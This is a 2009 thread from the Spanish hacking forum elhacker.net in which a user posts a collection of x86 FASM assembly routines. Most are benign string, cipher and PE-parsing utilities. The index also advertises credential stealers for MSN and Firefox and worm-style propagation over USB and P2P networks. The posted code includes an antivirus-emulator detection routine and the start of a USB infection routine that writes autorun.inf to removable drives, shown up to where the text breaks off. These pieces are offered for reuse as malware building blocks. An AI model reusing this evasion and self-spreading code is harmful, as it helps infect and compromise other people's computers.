Foro de elhacker.net

Programación => ASM => Mensaje iniciado por: YST en 31 Mayo 2009, 22:58 pm



Título: Recopilación de mis codigos.
Publicado por: YST en 31 Mayo 2009, 22:58 pm
Programas

  • Humilde Visor de claves de el msn 0.1v by YST    (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244335#msg1244335)
          Descripción: Programa que te muestra todas las claves y cuentas guardadas en el Msn Live.
                           

  • Humilde Visor de claves de el Firefox 0.1v by YST  (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244336#msg1244336A)
          Descripción: Programa que te muestra las claves guardadas en el Firefox 3
       
       
  • CrearImport  (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244303#msg1244303)
          Descripción: Programa que crea un import parecido a el "kernel32.inc" que trae el Fasm por defecto , con todas las funciones de la libreria indicada.
       
       
  • PE visor by YST  (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244343#msg1244343)
          Descripción: Pequeño visor del formato PE de cualquier archivo que contenga este formato.
       
       
    Codigos generales.
     
       
  • ChangeEntryPoint (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244339#msg1244339)
          Descripción: Cambia el EntryPoint de un archivo con formato PE.
       
       
  • GetAddressFunction (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244290#msg1244290)
          Descripción: Función que simula la función GetProcAddress de la kernel32.dll
     
       
  • Split (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244313#msg1244313)
          Descripción: Codigo que parte una cadena por medio de un separador.
     
       
  • Zerar (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244293#msg1244293)
          Descripción: Función que llena de tantos 0 como le indiques una posición.
       
       
  • cInstr (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244277#msg1244277)
          Descripción: Función que te dice si una cadena se encuentra dentro de otra y de encontrarsre devuelve la posicion donde se    encuentra y en caso contrari devuelve 0
       
       
  • StrReverse (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244295#msg1244295)
          Descripción: Función pone una cadena al revez (ej: "Hola" te la dejaria en "aloH" )
       
       
  • EncriptacionChangeCase (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244316#msg1244316)
          Descripción: Función que remplaza todas las mayusculas por minuscula y viceversa
       
       
  • EncriptacionXOR (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244264#msg1244264)
          Descripción: Función que cifra mediante un XOR
       
       
  • Encriptacion YST (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244275#msg1244275)
          Descripción: Función que cifra mediante un algoritmo propio
       
       
  • Infección USB (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244328#msg1244328)
          Descripción: Función que infecta unidades extraibles
       
       
  • DetectaExtención (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244331#msg1244331)
          Descripción: Función que devuelve la extención de un archivo.
       
       
  • cRtlMoveMemory (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244327#msg1244327)
          Descripción: Función que simula la función RtlMoveMemory de kernel32.dll .
       
       
  • EOFExtraDataExtract (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244342#msg1244342)
          Descripción: Función que devuelve donde se encuentra el fin del archivo mediante el formato PE .
     
       
  • antiemulator (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244291#msg1244291)
          Descripción: Función que detecta la emulación de algunos antivirus .
     
       
  • CapetaVaciaOUnidad (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244296#msg1244296)
          Descripción: Función que dice si una ruta no contiene archivos .
     
       
  • ASCIITOUNICODE (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244267#msg1244267)
          Descripción: Función que pasa una cadena ascii a unicode .
     
       
  • ConcatenarUnicode (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244324#msg1244324)
          Descripción: Función que concatena 2 cadenas en unicode .
     
       
  • LenUnicode (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244320#msg1244320)
          Descripción: Función que mide una cadena en unicode.
     
       
  • StringToHex (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1251677#msg1251677)
    Descripción: Función que pasa una cadena ASCII a Hexadecimal.
     
       
  • HexToString (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1251722#msg1251722)
    Descripción: Función que pasa una cadena Hexadecimal a una cadena ASCII.
     
       
  • SHA1Hash (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1251832#msg1251832)
    Descripción: Saca el hash sha1 de un dato
     
       
  • Propagación por emule (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1255845#msg1255845)
    Descripción: Codigo que se propaga por el sistema p2p emule.
     
       
  • Propagación por Omemo (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1255940#msg1255940)
    Descripción: Codigo que se propaga por el sistema p2p Omemo.
     
       
  • Propagación por Ares (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1255946#msg1255946)
    Descripción: Codigo que se propaga por el sistema p2p ares.
     
       
  • fRight (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1256520#msg1256520)
    Descripción: Funcion que iguala a la función Right de Visual basic 6.
     
       
  • RC4 (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1259043#msg1259043)
    Descripción:Codigo que cifra usando el algoritmo RC4.
     
       
  • Rot39 (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1272155#msg1272155)
    Descripción:Codigo que cifra usando el algoritmo ROT39.
     
     
  • Ejecución de comandos con pipes (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1272080#msg1272080)
    Descripción:Codigo que muestra los valores devueltos por un ping 127.0.0.1 .
     
     
  • IsVirtualPCPresent (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1272754#msg1272754)
    Descripción:Detecta si estamos siendo ejecutados en una maquina virtual .
       
     
  • Llamar funciones de librerias como lo hace el Visual basic 6 (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1294396#msg1294396)
    Descripción: Ejemplo de como llama las api's el visual basic 6 , codigo original por karcrack traducido por mi ;) .


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 31 Mayo 2009, 23:00 pm
Código
  1. ;Función que cifra con un xor 10 cada byte de una cadena
  2. ; cCadena = Puntero de cadena a cifrar
  3. ; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo )
  4. ;  By YST
  5. proc EncriptacionXOR,cCadena,cTamaño
  6. push ebx
  7. xor ebx,ebx
  8. cmp [cTamaño],0
  9. je .contar
  10. mov ebx,[cTamaño]
  11. jmp .Start
  12. .contar:
  13. mov ebx,0
  14. mov eax,[cCadena]
  15. .len:
  16. inc ebx
  17. inc eax
  18. cmp byte[eax],0
  19. jne .len
  20. .Start:
  21. mov eax,[cCadena]
  22. inc ebx
  23. dec eax
  24. .bucle:
  25. dec ebx
  26. cmp ebx,0
  27. jbe .salir
  28. inc eax
  29. xor byte[eax],10
  30. jmp .bucle
  31. .salir:
  32. pop ebx
  33. ret
  34. endp


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 31 Mayo 2009, 23:02 pm
Código
  1. proc ASCIITOUNICODE,Cadena,Buffer
  2. push ecx ebx
  3. mov  eax,[Cadena]
  4. mov ebx,[Buffer]
  5. dec eax
  6. sub ebx,2
  7. .bucle:
  8. inc eax
  9. cmp byte[eax],0
  10. je .salir
  11. add ebx,2
  12. mov cl,byte[eax]
  13. mov byte[ebx],cl
  14. mov byte[ebx+1],0
  15. jmp .bucle
  16. .salir:
  17. pop ebx ecx
  18. ret
  19. endp


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 31 Mayo 2009, 23:15 pm
Código
  1. macro  MacroYSTEncript Posicion,Tamaño{
  2. local ..Caracter,..numero
  3. ..numero  = Tamaño
  4. repeat Tamaño
  5. ..numero  = ..numero - 1
  6. load ..Caracter from  Posicion+%-1
  7. ..Caracter = byte ..Caracter + 3
  8. ..Caracter = byte not ..Caracter
  9. ..Caracter = byte ..Caracter xor 45
  10. ..Caracter = byte ..Caracter xor ..numero
  11. store  ..Caracter at  Posicion+%-1
  12. end repeat
  13. }    
  14.  
Código
  1. proc YSTEncript,cCadena,cBuffer,cTamaño
  2. push eax ebx ecx  edx esi
  3. mov ebx,[cBuffer]
  4. mov esi,[cCadena]
  5. dec esi
  6. dec ebx
  7. .Eb:
  8. dec [cTamaño]
  9. inc esi
  10. inc ebx
  11. mov cl,byte[esi]
  12. add cl,3
  13. mov byte[ebx],cl
  14. not byte[ebx]
  15. xor byte[ebx],45
  16. mov edx,[cTamaño]
  17. xor byte[ebx],dl
  18. cmp [cTamaño],0
  19. jne .Eb
  20. pop  esi edx ecx ebx eax
  21. ret
  22. endp
  23.  
  24. proc YSTDesencript,cCadena,cBuffer,cTamaño
  25. push  eax ebx ecx  edx esi
  26. mov ebx,[cBuffer]
  27. mov esi,[cCadena]
  28. dec esi
  29. dec ebx
  30. .Eb:
  31. dec [cTamaño]
  32. inc esi
  33. inc ebx
  34. mov cl,byte[esi]
  35. mov byte[ebx],cl
  36. mov edx,[cTamaño]
  37. xor byte[ebx],dl
  38. not byte[ebx]
  39. xor byte[ebx],45
  40. sub byte[ebx],3
  41. cmp [cTamaño],0
  42. jne .Eb
  43. pop  esi edx ecx ebx eax
  44. ret
  45. endp


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 31 Mayo 2009, 23:17 pm
Código
  1. include 'win32ax.inc'
  2. .code
  3. start:
  4. stdcall cInstr,"98y4ct2y3Hola83925832c","Hola"
  5. .if eax = FALSE
  6. invoke MessageBox,0,"No esta.",0,0
  7. .else
  8. invoke MessageBox,0,eax,0,0
  9. .endif
  10. invoke ExitProcess,0
  11. ;////////////////////////////////////////////////////////////////////////////////////////////////////
  12. ;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera             //
  13. ;//c1 = Cadena                                                                                   //
  14. ;//c2 = Cadena que se buscara en c1                                                             //
  15. ;// Retorna:                                                                                   //
  16. ;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax//
  17. ;// apuntandoa la posicion de c1 donde se encontro c2                                        //
  18. ;// by YST                                                                                  //
  19. ;////////////////////////////////////////////////////////////////////////////////////////////
  20. proc cInstr,c1,c2
  21. push edi esi ebx ecx  edx
  22. stdcall Len,[c2]
  23. mov edi,eax
  24. stdcall Len,[c1]
  25. mov esi,eax
  26. cmp edi,esi
  27. jg .Falso
  28. mov edx,[c1]
  29. mov ebx,[c2]
  30. dec edx
  31. inc esi
  32. .bucle:
  33. dec esi
  34. inc edx
  35. mov cl,byte[edx+edi]
  36. mov byte[edx+edi],0
  37. stdcall comparar,edx,[c2]
  38. mov byte[edx+edi],cl
  39. .if eax = 0
  40. mov eax,edx
  41. jmp .salir
  42. .endif
  43. cmp esi,0
  44. jne .bucle
  45. .Falso:
  46. mov eax,FALSE
  47. .salir:
  48. pop edx ecx ebx esi edi
  49. ret
  50. endp
  51. proc comparar ,SRC,DST ;Funcion que compara
  52. push edi ecx esi
  53. mov ecx,-1
  54. mov edi,[SRC]
  55. mov al,0
  56. repnz scasb
  57. mov eax,ecx
  58. not eax
  59. mov ecx,eax
  60. mov esi,[SRC]
  61. mov edi,[DST]
  62. repz cmpsb
  63. mov eax,1
  64. jnz Next
  65. dec eax
  66. Next:
  67. pop esi ecx edi
  68. ret
  69. endp
  70. proc Len,cCadena   ;Funcion que mide la cadena
  71. push ecx edi
  72. mov ecx,-1
  73. mov edi,[cCadena]
  74. mov al,0
  75. repnz scasb
  76. mov eax,ecx
  77. not eax
  78. dec eax
  79. pop edi ecx
  80. ret
  81. endp
  82. .end start


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 31 Mayo 2009, 23:42 pm
Código
  1. include 'win32ax.inc'
  2. .code
  3. start:
  4. invoke LoadLibrary,"user32.dll"
  5. stdcall  GetAddressFunction,eax,"MessageBoxA"
  6. stdcall eax,0,0,0,0
  7. invoke ExitProcess,0
  8. proc GetAddressFunction,pMZ,pApi
  9. ;EDI = MZ
  10. ;Expot data = EBX
  11. ;Esi = Cantidad de funciones
  12. ;edx = AddressOfNames
  13. ;ECX = Propositos generales
  14. mov edi, [pMZ]
  15. mov ebx,[edi+0x3c]
  16. mov ebx,[ebx+edi+0x78]
  17. add ebx,edi
  18. mov esi,[0x18+ebx]
  19. mov edx, [0x20+ebx]
  20. add edx,edi
  21. .bucle:
  22. dec esi
  23. cmp esi,0
  24. je .error
  25. mov eax,esi
  26. rol eax,2   ;Multiplicamos esi por 4
  27. mov eax,[edx + eax]
  28. add eax,edi
  29. stdcall comparar,[pApi],eax
  30. xor eax,0
  31. jnz  .bucle
  32. mov eax,[0x24+ebx]
  33. add eax,edi
  34. movzx ecx, word[eax + 2*esi]
  35. mov eax, [ebx + 0x1c]
  36. add eax,edi
  37. mov eax, [eax + 4 * ecx]
  38. add eax, edi
  39. .salir:
  40. ret
  41. .error:
  42. xor eax,eax
  43. jmp .salir
  44. endp
  45. proc comparar ,SRC,DST
  46. push edi ecx esi
  47. mov ecx,-1
  48. mov edi,[SRC]
  49. mov al,0
  50. repnz scasb
  51. mov eax,ecx
  52. not eax
  53. mov ecx,eax
  54. mov esi,[SRC]
  55. mov edi,[DST]
  56. repz cmpsb
  57. mov eax,1
  58. jnz Next
  59. dec eax
  60. Next:
  61. pop esi ecx edi
  62. ret
  63. endp
  64. .end start


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 31 Mayo 2009, 23:47 pm
Código
  1. antiemulator:
  2. push ebx ecx
  3. invoke GetTickCount
  4. mov ebx,eax
  5. mov eax,2
  6. mov ecx,250
  7. mul ecx
  8. invoke SleepEx,eax,FALSE ; 250 * 2= 500 ( para confundir un poco el antivirus )
  9. invoke GetTickCount
  10. sub eax,ebx
  11. cmp eax,500
  12. jl .si
  13. mov eax,FALSE
  14. pop ecx ebx
  15. ret
  16. .si:
  17. pop ecx ebx
  18. mov eax,TRUE
  19. ret


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 31 Mayo 2009, 23:51 pm
Código
  1. proc Zerar,Puntero,Cantidad
  2.  
  3.    push ecx
  4.    push ebx
  5.  
  6.              mov ecx,[Cantidad]
  7.                 mov ebx,[Puntero]
  8.                .bucle:
  9.  
  10.                mov byte[ebx+ecx],0
  11.                loop .bucle
  12.                mov byte[ebx],0
  13.                pop ebx
  14.                pop ecx
  15.                ret
  16. endp


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 31 Mayo 2009, 23:58 pm
Código
  1. include 'win32ax.inc'
  2. .data
  3. buffer rb 100
  4. .code
  5. start:
  6. stdcall StrReverse,kk,buffer
  7. invoke MessageBox,0,buffer,kk,0
  8. leave
  9. ret
  10. kk: db  "Estoy cifrado",0
  11. proc StrReverse,cCadena,cBuffer
  12. push ebx esi edi eax ecx
  13. mov ebx, [cCadena]
  14. mov esi,[cBuffer]
  15. stdcall Len,ebx
  16. mov ecx,eax
  17. mov al,byte[ebx]
  18. dec ecx
  19. mov edi,0
  20. .bucle:
  21. mov ah,byte[ebx+ecx]
  22. mov byte[esi+edi],ah
  23. inc edi
  24. dec ecx
  25. jecxz .salir
  26. jmp .bucle
  27. .salir:
  28. mov byte[esi+edi],al
  29. mov byte[esi+edi+1],0
  30. pop ecx eax edi esi ebx
  31. ret
  32. endp
  33. proc Len , SRC
  34. push ecx edi
  35. mov ecx,-1
  36. mov edi,[SRC]
  37. mov al,0
  38. repnz scasb
  39. mov eax,ecx
  40. not eax
  41. dec eax
  42. pop edi ecx
  43. ret
  44. endp
  45. .end start


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:00 am
Código
  1. include 'win32ax.inc'
  2.  
  3. .code
  4. start:
  5.  
  6. stdcall CapetaVaciaOUnidad,"F:"
  7.  
  8. .if eax = TRUE
  9. invoke MessageBox,0,"La carpeta esta vacia",0,0
  10. .else
  11. invoke MessageBox,0,"La carpeta no esta vacia",0,0
  12. .endif
  13.  
  14. invoke ExitProcess,0
  15.  
  16. proc CapetaVaciaOUnidad,ruta
  17. locals
  18. Find  WIN32_FIND_DATA    ?
  19. HandleBusqueda dd ?
  20. Ruta dd ?
  21. endl
  22.  
  23. push ebx
  24.  
  25. invoke GlobalAlloc,GPTR,MAX_PATH+1
  26. mov [Ruta],eax
  27. stdcall Concat,[ruta],"\*", [Ruta]
  28. invoke FindFirstFile,[Ruta] , addr Find
  29. mov [HandleBusqueda],eax
  30. invoke FindNextFile ,eax, addr Find
  31. invoke lstrcpy,[Ruta],addr Find.cFileName
  32. mov ebx,[Ruta]
  33.  
  34. .if word[ebx] = ".."
  35. invoke FindNextFile, [HandleBusqueda], addr Find
  36. .endif
  37. invoke lstrcpy,[Ruta],addr Find.cFileName
  38. mov ebx,[Ruta]
  39. .if word[ebx] = ".."
  40.  
  41. invoke GlobalFree,[Ruta]
  42. mov eax,TRUE
  43. .else
  44. .if dword[ebx] = "RECY"
  45. .if dword[ebx+4] = "CLER"
  46. invoke GlobalFree,[Ruta]
  47. mov eax,TRUE
  48. .endif
  49. .else
  50. invoke GlobalFree,[Ruta]
  51. mov eax,FALSE
  52. .endif
  53. .endif
  54. .endif
  55. pop ebx
  56.  
  57. ret
  58. endp
  59.  
  60. proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
  61.  
  62.    mov esi,[@AdrSrc1]
  63.    mov edi,[@AdrDest]
  64.  
  65. .concat_src1:
  66.    movsb
  67.    cmp byte[esi],0
  68.    jne .concat_src1
  69.  
  70.    mov esi,[@AdrSrc2]
  71.  
  72. .concat_src2:
  73.    movsb
  74.    cmp byte[esi],0
  75.    jne .concat_src2
  76.  
  77.    movsb
  78.  
  79.    ret
  80. endp
  81. .end start


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:06 am
Código
  1. format pe console
  2. espacio equ 13,10,0
  3. include 'win32ax.inc'
  4. .data
  5. RutaLib   rb MAX_PATH
  6. RutaINC   rb MAX_PATH
  7. .code
  8. start:
  9. invoke printf,"Ingrese la ruta de la libreria:"
  10. invoke printf,espacio
  11. invoke scanf,"%s",RutaLib
  12. invoke printf,"Ingrese la ruta de la donde se generara el include:"
  13. invoke printf,espacio
  14. invoke scanf,"%s",RutaINC
  15. stdcall CrearImport,RutaLib,RutaINC
  16. invoke ExitProcess,0
  17. proc CrearImport,NombreLIB,NombreImport
  18. locals
  19. DirPEHeader dd ?
  20. PunteroPEHeader dd ?
  21. RVAofExportDirectory   dd ?
  22. NumberOfNames dd ?
  23. AddressOfNames dd ?
  24. Funcion dd ?
  25. HFile dd ?
  26. Nosirve dd ?
  27. Largo dd ?
  28. LibHandle dd ?
  29. endl
  30. push ebx  edx  edi  ecx
  31.    invoke LoadLibrary, [NombreLIB]
  32.    mov [LibHandle],eax
  33. cmp eax,NULL
  34. je .Error
  35. push dword[eax + 03Ch]
  36. pop  [DirPEHeader]
  37. push [DirPEHeader]
  38. pop [PunteroPEHeader]
  39. add  [PunteroPEHeader],eax
  40. mov ebx,[PunteroPEHeader]
  41. cmp word[ebx],"PE"
  42. jne .Error
  43. push dword[ebx+078h]
  44. pop [RVAofExportDirectory]
  45. mov ebx, [RVAofExportDirectory]
  46. add ebx,eax
  47. push dword[ebx+018h]
  48. pop [NumberOfNames]
  49. mov edx,[NumberOfNames]
  50. push dword[ebx+20h]
  51. pop [AddressOfNames]
  52. mov ebx,[NumberOfNames]
  53. mov        edi, [AddressOfNames]
  54.    add        edi,[LibHandle]
  55.  
  56.  
  57.  
  58.               invoke CreateFileA, [NombreImport], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
  59.                mov [HFile], eax
  60.                invoke lstrlen,"import "
  61.            invoke WriteFile, [HFile], "import ",eax,addr Nosirve, NULL
  62.                 invoke lstrlen,[NombreLIB]
  63.                 sub eax,4
  64.                invoke WriteFile, [HFile], [NombreLIB],eax,addr Nosirve, NULL
  65.                invoke WriteFile,[HFile] , ",\",2,addr Nosirve, NULL
  66.                             invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
  67.  
  68. .bucle:
  69. dec ebx
  70. mov        eax, [edi + ebx * 4]
  71. add eax,[LibHandle]
  72. mov [Funcion],eax
  73.        invoke lstrlen, [Funcion]
  74.                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
  75.                invoke WriteFile, [HFile],",",1,addr Nosirve, NULL
  76.  
  77.                              invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
  78.                                      invoke lstrlen, [Funcion]
  79.                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
  80.                .if ebx = 0
  81.                      invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
  82.                .else
  83.                  invoke WriteFile, [HFile],"',\",3,addr Nosirve, NULL
  84.              invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
  85.              .endif
  86.  cmp ebx,0
  87.  jne .bucle
  88.  
  89.            invoke CloseHandle, [HFile]
  90.            invoke system,"cls"
  91.            invoke printf,"Extraida las funciones de: "
  92.            invoke printf,RutaLib
  93.            invoke printf,espacio
  94.            invoke printf,espacio
  95.            invoke printf,"El include ah sido generado en : "
  96.             invoke printf,RutaINC
  97.                      invoke printf,espacio
  98.            invoke printf,espacio
  99.            invoke printf,"Con "
  100.               invoke printf,"%d",[NumberOfNames]
  101.               invoke printf," funciones extraidas."
  102.                invoke printf,espacio
  103.                  invoke system,"pause"
  104. pop  ecx edi edx ebx
  105. ret
  106. .Error:
  107.      invoke system,"cls"
  108.            invoke printf,"Ocurrio un error durante la extracciòn."
  109.                        invoke printf,espacio
  110.               invoke system,"pause"
  111. ret
  112. endp
  113. .end start    
  114.  

PD: En este codigose necesita agregar alguna apis a la win32ax.


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:14 am
Código
  1. include 'win32ax.inc'
  2. .data
  3. Separador db "/()·/", 0
  4. Cadena db 'Soy/()·/una/()·/cadena',0
  5. Cantidad dd ?
  6. buffer rb MAX_PATH
  7. .code
  8. start:
  9. stdcall Split,Cadena,Separador,buffer
  10. mov [Cantidad],eax
  11. stdcall Len,Separador
  12. mov ebx,eax
  13. mov ecx,[Cantidad]
  14. inc ecx
  15. mov esi,buffer
  16. .bucle:
  17. push ecx
  18. invoke MessageBox,0,esi,esi,0
  19. stdcall Len,esi
  20. add esi,eax
  21. add esi,ebx
  22. pop ecx
  23. loop .bucle
  24. invoke ExitProcess,0
  25. ; cCadena(in) = Cadena a partir
  26. ; cSeparador(in) = Separador que se usara para partir la cadena
  27. ; cBuffer(out) = A donde se guardara la cadena partida
  28. ; Retorna la cantidad de separadores encontrados
  29. proc Split,cCadena,cSeparador,cBuffer
  30. push edi esi ecx  ebx
  31. xor ebx,ebx
  32. stdcall copy,[cBuffer],[cCadena]
  33. stdcall Len,[cSeparador]
  34. mov edi,eax
  35. mov  esi,[cBuffer]
  36. dec  esi
  37. .bucle:
  38. inc esi
  39. cmp byte[esi],0
  40. je .salir
  41. mov cl,byte[esi+edi]
  42. mov byte[esi+edi],0
  43. stdcall comparar,esi,[cSeparador]
  44. mov byte[esi+edi],cl
  45. cmp eax,0
  46. jne .bucle
  47. inc ebx
  48. mov byte[esi],0
  49. add esi,edi
  50. jmp .bucle
  51. .salir:
  52. mov eax,ebx
  53. pop ebx ecx esi edi
  54. ret
  55. endp
  56.  
  57. proc comparar ,SRC,DST ;Funcion que compara
  58. push edi ecx esi
  59. mov ecx,-1
  60. mov edi,[SRC]
  61. mov al,0
  62. repnz scasb
  63. mov eax,ecx
  64. not eax
  65. mov ecx,eax
  66. mov esi,[SRC]
  67. mov edi,[DST]
  68. repz cmpsb
  69. mov eax,1
  70. jnz Next
  71. dec eax
  72. Next:
  73. pop esi ecx edi
  74. ret
  75. endp
  76. proc Len,cCadena   ;Funcion que mide la cadena
  77. push ecx edi
  78. mov ecx,-1
  79. mov edi,[cCadena]
  80. mov al,0
  81. repnz scasb
  82. mov eax,ecx
  83. not eax
  84. dec eax
  85. pop edi ecx
  86. ret
  87. endp
  88. proc copy,cDestino,cCadena    ;funcion que copia una cadena
  89. push ecx edi esi
  90. stdcall Len,[cCadena]
  91. add eax,2
  92. mov ecx,eax
  93. mov esi,[cCadena]
  94. mov edi,[cDestino]
  95. rep movsb
  96. pop esi edi ecx
  97. ret
  98. endp
  99. .end start


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:19 am
Código
  1. include 'win32ax.inc'
  2.  
  3. .data
  4. xD db '[soy una cadena.]',0
  5. .code
  6. start:
  7. stdcall EncriptacionChangeCase,xD,0
  8. invoke MessageBox,0,xD,0,0
  9. invoke ExitProcess,0
  10. ;Función que transforma las miniscula a mayusculas y viceversa
  11. ; cCadena = Puntero de cadena a cifrar
  12. ; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo )
  13. ;  By YST
  14. proc EncriptacionChangeCase,cCadena,cTamaño
  15. push ebx
  16. xor ebx,ebx
  17. cmp [cTamaño],0
  18. je .contar
  19. mov ebx,[cTamaño]
  20. jmp .Start
  21. .contar:
  22. mov ebx,0
  23. mov eax,[cCadena]
  24. .len:
  25. inc ebx
  26. inc eax
  27. cmp byte[eax],0
  28. jne .len
  29. .Start:
  30. mov eax, [cCadena]
  31. dec eax
  32. inc ebx
  33. .bucle:
  34. dec ebx
  35. inc eax
  36. cmp ebx,0
  37. je .salir
  38. cmp byte[eax],'A'
  39. jb .bucle
  40. cmp byte[eax],91
  41. jge .revisar
  42. jmp .seguir
  43. jmp .bucle
  44. .seguir:
  45. cmp byte[eax],"Z"
  46. jbe .Mayuscula
  47. cmp byte[eax],"z"
  48. jbe .Miniscula
  49. jmp .bucle
  50. .salir :
  51. xor ebx,ebx
  52. mov ebx,0
  53. mov eax,[cCadena]
  54. pop ebx
  55. ret
  56. .revisar:
  57. cmp byte[eax],96
  58. jg .seguir
  59. jbe .bucle
  60. .Mayuscula:         ;Si es Mayuscula la pasamos a miniscula
  61. add byte[eax],0x20
  62. jmp .bucle
  63. .Miniscula:         ;Si es miniscula la pasamos a Mayuscula
  64. sub byte[eax],0x20
  65. jmp .bucle
  66. xor ebx,ebx
  67. mov ebx,0
  68. mov eax,[cCadena]
  69. endp
  70.  
  71. .end start


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:26 am
Código
  1. proc LenUnicode,cCadena
  2. mov ebx,[cCadena]
  3. mov eax,0
  4. .bucle:
  5. inc eax
  6. cmp byte[ebx+eax*2],0
  7. jne  .bucle
  8. pop ebx
  9. ret
  10. endp


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:28 am
Código
  1. proc ConcatenarUnicode,cCadena1,cCadena2,cBuffer
  2. push esi edi
  3.    mov edi,[cBuffer]
  4.    mov esi,[cCadena1]
  5.  
  6. .bucle1:
  7.    movsb
  8.    cmp word[esi],0
  9.    jne  .bucle1
  10.  
  11.       inc edi
  12.        mov esi,[cCadena2]
  13. .bucle2:
  14.    movsb
  15.    cmp word[esi],0
  16.    jne  .bucle2
  17.    pop edi esi
  18. ret
  19. endp
  20.  


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:31 am
Código
  1. ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
  2. ; by YST
  3. proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
  4. push esi edi
  5. xchg edi,[cBuffer]
  6. xchg esi,[Cpuntero]
  7. .bucleb:
  8. dec [cCantidad]
  9. movsb
  10. cmp  [cCantidad],0
  11. jge .bucleb
  12. pop edi esi
  13. ret
  14. endp


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:32 am
Esta en fasm para llamarlo se llama con
Código:
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0

Código
  1.     Autorun db '[autoRun]',13,10,\
  2. 'action=Open Files On Folder',13,10,\
  3. 'shellexecute=',0
  4. Autorun2 db 13,10,\
  5. 'UseAutoPlay=1',0  
  6. BufferUnidades rb 31
  7.  

Código
  1. proc InfeccionUSB
  2. locals
  3. Miruta dd ?
  4. Minombre dd ?
  5. MiRutaInfeccionaria dd ?
  6. MiAutorun dd ?
  7. RutaAutorun dd ?
  8. handleCreado dd ?
  9. tamaño dd ?
  10. bEscritos dd ?
  11. endl
  12. pushad
  13.  
  14. invoke GlobalAlloc,GPTR,MAX_PATH
  15.  mov [Miruta],eax
  16. invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
  17.  stdcall ConseguirNombre,[Miruta]
  18.  mov [Minombre],eax
  19.       .infinito:
  20.    invoke SleepEx,1000,FALSE
  21.       stdcall Zerar,BufferUnidades,30
  22. invoke GetLogicalDriveStringsA,30,BufferUnidades
  23.        mov ebx,BufferUnidades
  24.        .bucleDetectaExtraible:
  25. invoke GetDriveTypeA,ebx
  26.  
